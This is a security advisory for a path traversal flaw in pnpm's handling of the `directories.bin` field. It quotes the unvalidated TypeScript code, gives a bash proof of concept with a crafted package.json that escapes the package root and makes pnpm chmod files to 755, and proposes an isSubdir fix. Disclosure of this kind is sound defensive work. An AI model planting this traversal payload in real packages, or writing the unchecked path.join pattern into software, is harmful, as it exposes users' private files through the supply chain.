GHSA-v253-rj99-jwpq
pnpm has Path Traversal via arbitrary file permission modification
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
When pnpm processes a package's `directories.bin` field, it uses `path.join()` without validating the result stays within the package root. A malicious npm package can specify `"directories": {"bin": "../../../../tmp"}` to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations.
**Note:** Only affects Unix/Linux/macOS. Windows is not affected (`fixBin` gated by `EXECUTABLE_SHEBANG_SUPPORTED`).
### Details
Vulnerable code in `pkg-manager/package-bins/src/index.ts:15-21`:
```typescript
if (manifest.directories?.bin) {
const binDir = path.join(pkgPath, manifest.directories.bin) // NO VALIDATION
const files = await findFiles(binDir)
// ... files outside package returned, then chmod 755'd
}
```
The `bin` field IS protected with `isSubdir()` at line 53, but `directories.bin` lacks this check.
### PoC
```bash
# Create malicious package
mkdir /tmp/malicious-pkg
echo '{"name":"malicious","version":"1.0.0","directories":{"bin":"../../../../tmp/target"}}' > /tmp/malicious-pkg/package.json
# Create sensitive file
mkdir -p /tmp/target
echo "secret" > /tmp/target/secret.sh
chmod 600 /tmp/target/secret.sh # Private
# Install
pnpm add file:/tmp/malicious-pkg
# Check permissions
ls -la /tmp/target/secret.sh # Now 755 (world-readable)
```
### Impact
- Supply-chain attack via npm packages
- File permissions changed from 600 to 755 (world-readable)
- Affects non-dotfiles in predictable paths (dotfiles excluded by tinyglobby default)
### Suggested Fix
Add `isSubdir` validation for `directories.bin` paths in `pkg-manager/package-bins/src/index.ts`, matching the existing validation in `commandsFromBin()`:
```typescript
if (manifest.directories?.bin) {
const binDir = path.join(pkgPath, manifest.directories.bin)
if (!isSubdir(pkgPath, binDir)) {
return [] // Reject paths outside package
}
// ...
}
```
References
External links from the advisory. They lead to third-party sites.